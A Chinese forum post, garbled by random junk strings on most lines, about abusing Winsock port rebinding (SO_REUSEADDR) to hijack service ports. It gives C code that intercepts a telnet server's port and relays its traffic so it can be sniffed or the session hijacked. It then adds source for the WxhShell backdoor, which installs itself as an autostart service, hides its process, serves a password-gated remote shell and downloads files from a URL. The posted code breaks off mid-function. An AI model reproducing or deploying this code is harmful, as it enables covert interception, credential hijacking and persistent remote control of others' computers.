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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6%p$C oR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wc3OOyP@0  
7# /c7   
  saddr.sin_family = AF_INET; jL|y4  
?HP54G<{xz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ],fu#pi=]  
QJcaOXyMS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zH1pW(  
5kK:1hH7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gbf-3KSp^  
Mp V3.  
  这意味着什么?意味着可以进行如下的攻击: %7X<:f|N8x  
\WDL?(G<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $Vi[195]2  
T,Bu5:@#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =aWj+ggd@  
GJUorj&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !s>AVV$;0  
Nn"[GB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xm)s%"6n  
1N `1~y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Br}&  
X}Ey6*D:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qfO=_z ES  
^1a/)Be{_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PY4RwN  
ad\?@>[ I  
  #include 2 kOFyD  
  #include -:hiLZJ7-  
  #include n~1'M/wh  
  #include    LDj'L~H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wkn r^A  
  int main() ')d&:K*M  
  { NF}QQwG3  
  WORD wVersionRequested; $[L8UUHY<8  
  DWORD ret; P9Gjsu #  
  WSADATA wsaData; &B^zu+J  
  BOOL val; yqy5i{Y  
  SOCKADDR_IN saddr; )yV|vn  
  SOCKADDR_IN scaddr; 19Cs 3B\4  
  int err; (RDY-~#~  
  SOCKET s; }Htnhom0n  
  SOCKET sc; |Ef\B] Ns  
  int caddsize; n21Pfig  
  HANDLE mt; s`j QX\{  
  DWORD tid;   [j6EzMN  
  wVersionRequested = MAKEWORD( 2, 2 ); 4Y):d!'b  
  err = WSAStartup( wVersionRequested, &wsaData ); W"m\|x  
  if ( err != 0 ) { A@8Ot-t:\2  
  printf("error!WSAStartup failed!\n"); di@4'$5#  
  return -1; \m3'4#  
  } rjmKe*_1V  
  saddr.sin_family = AF_INET; y:U'3G-  
   WIytgM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -_m>C2$6x  
Q*S|SH-cZ0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w/8`]q  
  saddr.sin_port = htons(23); xbh4j!FD$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l7 +#gPA  
  { Di[}y;  
  printf("error!socket failed!\n"); ZZkxEq+D  
  return -1; p2c4 <f-M  
  } 3:">]LMi  
  val = TRUE; wq[\Fb`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [0_JS2KE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `EV" /&`  
  { a@|/D\C  
  printf("error!setsockopt failed!\n"); R^}}-Dv r  
  return -1; G}o?lo\#h  
  } L<kIzB !  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e&Z\hZBb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T;cyU9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wq bfZx  
g/)$-Z)Nu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }PZz(Ms  
  { HT]v S}s  
  ret=GetLastError(); L53qQej<  
  printf("error!bind failed!\n"); Q^^.@FU"x  
  return -1; ~s}0z&v^te  
  } b-/ztZ@u  
  listen(s,2); A)5-w`1  
  while(1) 3Y\7+975m  
  { hjuzVOE|W  
  caddsize = sizeof(scaddr); )V!9/d  
  //接受连接请求 r52X}Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '~dE0ohWb  
  if(sc!=INVALID_SOCKET) K3eYeXV  
  { MA:2]l3e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hpo/CY/  
  if(mt==NULL) 0-)D`s%  
  { $ae*3L>5M  
  printf("Thread Creat Failed!\n"); b.qp&2A  
  break; '64&'.{#>r  
  } >28.^\?H4  
  } 4$~]t:n  
  CloseHandle(mt); RwH<JaL:  
  } |{#=#3X  
  closesocket(s); T5mdC  
  WSACleanup(); .YvE  
  return 0; -qki^!Y?  
  }   |E\0Rv{H3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ya81z4?  
  { 3pxm0|  
  SOCKET ss = (SOCKET)lpParam; sZ,MNF8i  
  SOCKET sc; _n.2'  
  unsigned char buf[4096]; LPjsR=xi  
  SOCKADDR_IN saddr; DVu_KT[Hd  
  long num; 4dDDi,)U  
  DWORD val; F^5<o  
  DWORD ret; ZE#f{qF(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,/.U'{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jTNfGu0x  
  saddr.sin_family = AF_INET; F&{RP>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S ("Zzq`  
  saddr.sin_port = htons(23); K^V*JH\G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {HV$hU+_)Q  
  { SZOcFmC?  
  printf("error!socket failed!\n"); :n3)vK   
  return -1; 8S&Kf>D  
  } q!iMc  
  val = 100; L  lP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qm| Q0u   
  { '4PAH2&n  
  ret = GetLastError(); ,&S ^Ryc  
  return -1; fvajNP  
  } 7wt2|$Qz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `aFy2x`3  
  { nZF(92v  
  ret = GetLastError(); NO4V{}?a  
  return -1; c#q OK  
  } !P7##ho0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O*3x'I*a  
  { ={9G.%W  
  printf("error!socket connect failed!\n"); [\o+I:,}wi  
  closesocket(sc); 1v TncU!  
  closesocket(ss); WZk\mSNV  
  return -1; q% Eze  
  } |Rr^K5hmD  
  while(1) &a?&G'?  
  { &"dT/5}6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KKm0@Y   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CroI,=a&,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gf]biE"k  
  num = recv(ss,buf,4096,0); ({3hX"C@Q  
  if(num>0) "7R"(.~>  
  send(sc,buf,num,0); 5YJn<XEc  
  else if(num==0) 1y5]+GU'`  
  break; iSTr;>A  
  num = recv(sc,buf,4096,0); <BIj a  
  if(num>0) Vp $]  
  send(ss,buf,num,0); *|n::9  
  else if(num==0) { 7y.0_Y  
  break; P5;LM9W  
  } W11Wv&  
  closesocket(ss); sIuk  
  closesocket(sc); TlEx w0i!  
  return 0 ; ^'S0A=1  
  } qC9$xIWq  
^/ K\a ,  
j(|G) F  
========================================================== 9Vx2VjK2'  
IVYWda0m  
下边附上一个代码,,WXhSHELL QDlEby m  
o56_t{<  
========================================================== Dc |!H{Yr  
?3!"js B  
#include "stdafx.h" iw6qNV:\Z  
@%L4^ms  
#include <stdio.h> daT[2M  
#include <string.h> kBY54pl  
#include <windows.h> zdCeOZ 6  
#include <winsock2.h> _8C0z=hz  
#include <winsvc.h> *|MHQp'A  
#include <urlmon.h> V\zf yH\~  
Wvl>iHB  
#pragma comment (lib, "Ws2_32.lib") O YGh!sW  
#pragma comment (lib, "urlmon.lib") (yFR;5Fo  
PMk3b3)Z  
#define MAX_USER   100 // 最大客户端连接数 ^5TSo&qZ  
#define BUF_SOCK   200 // sock buffer C+-GE9=  
#define KEY_BUFF   255 // 输入 buffer hR3lo;'  
l-"c-2-!  
#define REBOOT     0   // 重启 "J]_B  
#define SHUTDOWN   1   // 关机 nAn/Vu  
@Md%gEh;&  
#define DEF_PORT   5000 // 监听端口 H{'<v|I  
:.['e`  
#define REG_LEN     16   // 注册表键长度 &~P5 [[Q  
#define SVC_LEN     80   // NT服务名长度 }LS:f,1oGp  
~YHy '.  
// 从dll定义API bkkhx,Oi[G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |w2H5f{fR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gnmKh>0@6o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J=4R" _yo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u-Pa:wm0-  
o.t$hv|  
// wxhshell配置信息 <,d.`0:y  
struct WSCFG { ryzz!0l  
  int ws_port;         // 监听端口 I0 a,mO;m  
  char ws_passstr[REG_LEN]; // 口令 D3V5GQ\=  
  int ws_autoins;       // 安装标记, 1=yes 0=no v_f8zk  
  char ws_regname[REG_LEN]; // 注册表键名 H8~<;6W  
  char ws_svcname[REG_LEN]; // 服务名 )xiiTkJd5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6k;__@B,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [-!   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {hB7F"S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no edhNQWn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S!qJqZ<Bv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hK9Trrwau  
?)x>GB(9ZN  
}; AOQimjW9a  
Pl<r*d)h  
// default Wxhshell configuration D/jB .  
struct WSCFG wscfg={DEF_PORT, 9;s:Bo  
    "xuhuanlingzhe", ^,')1r,  
    1, w#eD5y~'oo  
    "Wxhshell", p+U}oC  
    "Wxhshell", ZzLmsTtzIu  
            "WxhShell Service", {.$5:<8aC  
    "Wrsky Windows CmdShell Service", f>ohu^bd  
    "Please Input Your Password: ", . $uvQpyh  
  1, R%o:'-~  
  "http://www.wrsky.com/wxhshell.exe", LY2oBX@fC  
  "Wxhshell.exe" yC !`6$  
    }; L<!}!v5ja  
T!5m'Q.  
// 消息定义模块 5bM/ v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8*3o 9$Pj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =8$//$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L^} Z:I  
char *msg_ws_ext="\n\rExit."; &=H{ 36i@  
char *msg_ws_end="\n\rQuit."; D_ xPa  
char *msg_ws_boot="\n\rReboot..."; ?>5[~rMn  
char *msg_ws_poff="\n\rShutdown..."; ^]w!ow41  
char *msg_ws_down="\n\rSave to "; q\ FF)H  
p C l[DE  
char *msg_ws_err="\n\rErr!"; F>Rz}-Fy  
char *msg_ws_ok="\n\rOK!"; 5G=<2;  
PVHJIB  
char ExeFile[MAX_PATH]; aAZS^S4v  
int nUser = 0; XJy~uks,  
HANDLE handles[MAX_USER]; :b)IDcW&j:  
int OsIsNt; |m7U^  
^%|,G:r  
SERVICE_STATUS       serviceStatus; R06L4,/b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :+{G|goZ*  
j_*$ Avy  
// 函数声明 5vs~8|aRo  
int Install(void); }&D~P>1  
int Uninstall(void); [ qt hn[3  
int DownloadFile(char *sURL, SOCKET wsh); 0X@!i3eu  
int Boot(int flag); A^:[+PJHN  
void HideProc(void); k8H@0p  
int GetOsVer(void); X.hU23w  
int Wxhshell(SOCKET wsl); tJ[yx_mf  
void TalkWithClient(void *cs); v+uq  
int CmdShell(SOCKET sock); wqB{cr}!  
int StartFromService(void); VZo[\sWf  
int StartWxhshell(LPSTR lpCmdLine); 1=(jpy  
ST$~l7p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OE' ?3S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X{4jyi-<  
3qJOE6[}%  
// 数据结构和表定义 Q^X  
SERVICE_TABLE_ENTRY DispatchTable[] = li'h&!|]  
{ A>WMPe:sSS  
{wscfg.ws_svcname, NTServiceMain}, +v.uP [H  
{NULL, NULL} "%fh`4y3\  
}; Ie{98  
zQ3m@x  
// 自我安装 !>QS746S@  
int Install(void) XN9s!5A<L)  
{ Py*( %  
  char svExeFile[MAX_PATH]; !v/5 G_pr  
  HKEY key; yUV0{A-q{0  
  strcpy(svExeFile,ExeFile); j1{|3#5V  
o V"d%ks  
// 如果是win9x系统,修改注册表设为自启动 "fK`F/  
if(!OsIsNt) { '%Og9Bgd+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I\ e?v`e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gl8D GELl;  
  RegCloseKey(key); $A~UA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7P1G^)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O~ a`T  
  RegCloseKey(key); 3m3ljy  
  return 0; )9/.K'o,dy  
    } DUH\/<^g  
  } "Tw4'AY'P  
} $VEG1]/svp  
else { BGM5pc (ei  
8vQGpIa,  
// 如果是NT以上系统,安装为系统服务 p7 s#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;R[  xo!  
if (schSCManager!=0) +m?;,JGt  
{ !ieMhJ5r  
  SC_HANDLE schService = CreateService &L7u//  
  ( #a1zk\R3  
  schSCManager, x_za R}WI  
  wscfg.ws_svcname, kk|7{83O  
  wscfg.ws_svcdisp, OAigq6[,  
  SERVICE_ALL_ACCESS, y?=W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oCtg{*vp  
  SERVICE_AUTO_START, n(X{|?  
  SERVICE_ERROR_NORMAL, Xge]3Ub  
  svExeFile, Xjb 4dip  
  NULL, EQQ/E!N8l  
  NULL, 'ec G:B`S  
  NULL, ~K'e}<-G  
  NULL, }f rij1/G  
  NULL k+-IuO  
  ); <//82j+px  
  if (schService!=0) Z_b^K^4  
  { v[$-)vs*ag  
  CloseServiceHandle(schService); (<M^C>pldf  
  CloseServiceHandle(schSCManager); nP]tc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s*'L^>iZ  
  strcat(svExeFile,wscfg.ws_svcname); 8aDSRfv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E`E$ }iLs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q1ox<-  
  RegCloseKey(key); '5^$v{  
  return 0; TFZvZi$u&  
    } NO$n-<ag  
  } l>(w]  
  CloseServiceHandle(schSCManager); By3y.}'Ub9  
} Th!.=S{Y5  
} 4Cd#S9<ed  
l'yX_`*Iq  
return 1; z-9@K<`H  
}  ywQ>T+  
Tbf@qid e  
// 自我卸载 A%Ov.~&\G  
int Uninstall(void) 0wFa7PyG?  
{ 3HtLD5%Q  
  HKEY key; l ~bjNhk  
eA4dDKX+  
if(!OsIsNt) { kzky{0yKk=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N+)gYb6h  
  RegDeleteValue(key,wscfg.ws_regname); |)%]MK$;  
  RegCloseKey(key); !@6P>HzY$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]m fI$p%  
  RegDeleteValue(key,wscfg.ws_regname); 33R1<dRk  
  RegCloseKey(key); F'v3caE  
  return 0; ;f]p`!] 3  
  } A$6T)  
} th!$R  
} g]fdsZv  
else { Lg;b17  
,^Cl?\9"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KC"#  
if (schSCManager!=0) =)h<" 2  
{ "PFczoRZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5g x9W\a ?  
  if (schService!=0) |E& F e8  
  { FJ/>=2^B  
  if(DeleteService(schService)!=0) { fX:)mLnO/  
  CloseServiceHandle(schService); >DFpL$oP  
  CloseServiceHandle(schSCManager); Fi7G S;  
  return 0; A-=B#UF  
  } t)#d R._q  
  CloseServiceHandle(schService); Z.4 vKO[<  
  } U~;Rzoe)q*  
  CloseServiceHandle(schSCManager); qw#wZ'<n  
} @yGK $<R  
} z%4E~u10  
uG5RE  
return 1; A?YU:f  
} Ok0zgi  
gI~4A,  
// 从指定url下载文件 !=)R+g6b  
int DownloadFile(char *sURL, SOCKET wsh) b I%Sq+"}  
{ BzVF!<!  
  HRESULT hr; ?{)sdJe  
char seps[]= "/"; z<3{.e\e  
char *token; FnZMW, P  
char *file; bNH72gX2Yh  
char myURL[MAX_PATH]; &J]|pf3m  
char myFILE[MAX_PATH]; dy }O6  
Bq l 5=p  
strcpy(myURL,sURL); cC4 2b2+  
  token=strtok(myURL,seps); B}:/2?gQ  
  while(token!=NULL) 0x N1Xm0d  
  { 'aN`z3T  
    file=token; @4O;dFOQ)  
  token=strtok(NULL,seps); %Voq"}}N  
  } b0PQ;?R#V  
5qe6/E@  
GetCurrentDirectory(MAX_PATH,myFILE); #`g..3ey  
strcat(myFILE, "\\"); 71RG1,  
strcat(myFILE, file);  WR;)  
  send(wsh,myFILE,strlen(myFILE),0); /Ezx'h3Q  
send(wsh,"...",3,0); z PW[GkD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j;BMuLTm1  
  if(hr==S_OK) >~%EB?8  
return 0; 9s.x%m,  
else J{69iQ  
return 1; 8E/wUN,Lxj  
,/bSa/x`  
} un&Z' .   
z#j)uD  
// 系统电源模块 !{WIN%O  
int Boot(int flag) bV3az/U  
{ ,A{'lu  
  HANDLE hToken; G\;a_]Q  
  TOKEN_PRIVILEGES tkp; sOf;I]E|  
en5sqKqh+  
  if(OsIsNt) { |_} LMkU)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (C&Lpt_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b3vPGR  
    tkp.PrivilegeCount = 1; <mk'n6B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "44A#0)B'l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O'WB O"  
if(flag==REBOOT) { @[=K`n:n_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eM) I%  
  return 0; 6^Q/D7U;s  
} ]zt77'J  
else { MB"TwtW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }5nVZ;  
  return 0; h,!#YG@>  
} ?x\tE]  
  } A><q-`bw  
  else { Jfe<$-$$7  
if(flag==REBOOT) { AWG;G+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CD"D^\z  
  return 0; 2BGS$$pP  
} "J_#6q*  
else { *Bm7>g6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }}Kj b  
  return 0; kLfk2A;'i  
} d$?sS9"8(  
} [d3i _^\  
'  ~F  
return 1; K8?]&.!  
} ]}za  
gd,3}@@SH  
// win9x进程隐藏模块 vTk\6o q  
void HideProc(void) Bokpvd-c7  
{ 2|re4  
{: H&2iF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dU"ca|u  
  if ( hKernel != NULL ) ih[!v"bv  
  { f7y3BWOi]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NU <K+k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CBrC   
    FreeLibrary(hKernel); R2` -*PZ_  
  } _=Eb:n+X  
<,:5d2mM.  
return; }NgevsV>;  
} }QzF.![~z  
x[dR5  
// 获取操作系统版本 v&]k8Hc-  
int GetOsVer(void) oWP3Y.  
{ t)__J\xF  
  OSVERSIONINFO winfo; \kS:u}Ip!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dR|*VT\  
  GetVersionEx(&winfo); U{[ g"_+~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1<(('H  
  return 1; # ^q87y  
  else S!@h\3d8{  
  return 0; PZ[hH(EX  
} ">|G^ @|:A  
U1y8Y/  
// 客户端句柄模块 f[s|<U^  
int Wxhshell(SOCKET wsl) xro%AM  
{ z^z,_?q;  
  SOCKET wsh; ]K!NLvz  
  struct sockaddr_in client; vvwQ/iJO4Q  
  DWORD myID; vP. ^j7wB  
\96aHOk<  
  while(nUser<MAX_USER)  {Yc#XP  
{ M7PG s-l  
  int nSize=sizeof(client); ^NB\[ &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6>)oG6  
  if(wsh==INVALID_SOCKET) return 1; Q| _e=  
$O[$<D%H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (`cXS5R  
if(handles[nUser]==0) P ?A:0a  
  closesocket(wsh); BTAt9Z8qK  
else l+XTn;cS  
  nUser++; u_*DS-  
  } G 5!J9@Yi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Le|4Hj  
my+2@ln  
  return 0; *u ^mf~  
} *$ kpSph  
IZSJ+KO  
// 关闭 socket AA &>6JB{  
void CloseIt(SOCKET wsh) <_>xkQbn2  
{ L} Rsg'U  
closesocket(wsh); I ]HP  
nUser--; r>,s-T!7  
ExitThread(0); N?j#=b+D  
} oU)Hco"_k  
 sg9  
// 客户端请求句柄 6^VPRp  
void TalkWithClient(void *cs) ={G0p=~+,p  
{ -PiakX  
!lxq,Whr{  
  SOCKET wsh=(SOCKET)cs; DcRvZH  
  char pwd[SVC_LEN]; von<I  
  char cmd[KEY_BUFF]; khQ@DwO*\=  
char chr[1]; H aA2y  
int i,j; M"s+k  
K:L_y 1!T  
  while (nUser < MAX_USER) { &[W53Lqa  
PR3&LI;B*  
if(wscfg.ws_passstr) { Ux-i iH#s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nw,XA0M3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {JlSfJw !  
  //ZeroMemory(pwd,KEY_BUFF); *&doI%q  
      i=0; B*OBXN>'P  
  while(i<SVC_LEN) { wBI>H 7A  
Y|nC_7&Bv  
  // 设置超时 ddzMwucjp  
  fd_set FdRead; Px?zih!6  
  struct timeval TimeOut; d=eIsP'h  
  FD_ZERO(&FdRead); ((AIrE>Rr  
  FD_SET(wsh,&FdRead); gaWJzK Yc_  
  TimeOut.tv_sec=8; Y6RbRcJw  
  TimeOut.tv_usec=0; [=]LR9c4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5kLz8n^z@@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CLgfNrW~  
ht_'GBS)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9GtVcucN  
  pwd=chr[0]; !:3X{)4  
  if(chr[0]==0xd || chr[0]==0xa) { Q" G;L  
  pwd=0; R q`j|tY  
  break; [w{x+6uX'  
  } x4XCR,-  
  i++; r !;wKO  
    } S*V!t=  
|+Cd2[hN  
  // 如果是非法用户,关闭 socket o&MOcy D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,t +sw4  
} ~oz??SX  
ihd^P]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `+!F#.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >';UF;\5]Q  
rGlnu.mK^  
while(1) { .oqe0$I  
b6! 7 j  
  ZeroMemory(cmd,KEY_BUFF); \Vx_$E  
NH<~B C]I  
      // 自动支持客户端 telnet标准   =Q#d0Q  
  j=0; sBa&]9>m  
  while(j<KEY_BUFF) { NA+7ey6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &l0 ,q=T  
  cmd[j]=chr[0]; RT<HiVr`  
  if(chr[0]==0xa || chr[0]==0xd) { *iVE O  
  cmd[j]=0; Y+{jG(rg.F  
  break; S]Ye`  
  } fZb}-  
  j++; _R}yZ=di  
    } dOVu D(  
N(%(B  
  // 下载文件 bnZ H  
  if(strstr(cmd,"http://")) { o37D~V;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C!U$<_I\2  
  if(DownloadFile(cmd,wsh)) wz>[CXpi_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o,RiAtdk  
  else  54#P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VniU:A  
  } +F*h\4ry#  
  else { og&-P=4O  
}#S1!TU  
    switch(cmd[0]) { fr`Q 5!0  
  [\rzXE  
  // 帮助 [eFJ+|U9  
  case '?': { \1hQ7:f;\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tj+U:#!!~  
    break; ueEf>0  
  } <H$!OPV  
  // 安装 &+3RsIl W  
  case 'i': { 2"c5<  
    if(Install()) >[;L.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M 5$JBnN  
    else Bru];%Qg%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0lV;bVa%  
    break; Eihy|p  
    } ]D4lZK>H  
  // 卸载 )Y6\"-M[  
  case 'r': { BkP4.XRI  
    if(Uninstall()) O[\mPFu5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .osG"cS  
    else Yr>0Qg],  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5H 1N]v+  
    break; jib pZ)  
    } 'Va<GHr>+  
  // 显示 wxhshell 所在路径 4sW'pH  
  case 'p': { w@Asz9Lq%  
    char svExeFile[MAX_PATH]; 3D^cPkX  
    strcpy(svExeFile,"\n\r"); hy>0'$mU  
      strcat(svExeFile,ExeFile); Q @[gj:w  
        send(wsh,svExeFile,strlen(svExeFile),0); T+B8SZw#}!  
    break; ;&'ryYrex  
    } %hlgLM  
  // 重启 62MQ+H  
  case 'b': { ,SNt*t1"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1;'-$K`}  
    if(Boot(REBOOT)) e-OKv#]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6nR EuT'k  
    else { iSUu3Yv,_m  
    closesocket(wsh); f( Dtv  
    ExitThread(0); /Kq'3[d8  
    } Ke=+D'=  
    break; K|OPtYeb  
    } c{ +bY .J  
  // 关机 |,~ )/o_R  
  case 'd': { zG8g}FrzG;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >#'?}@FWQN  
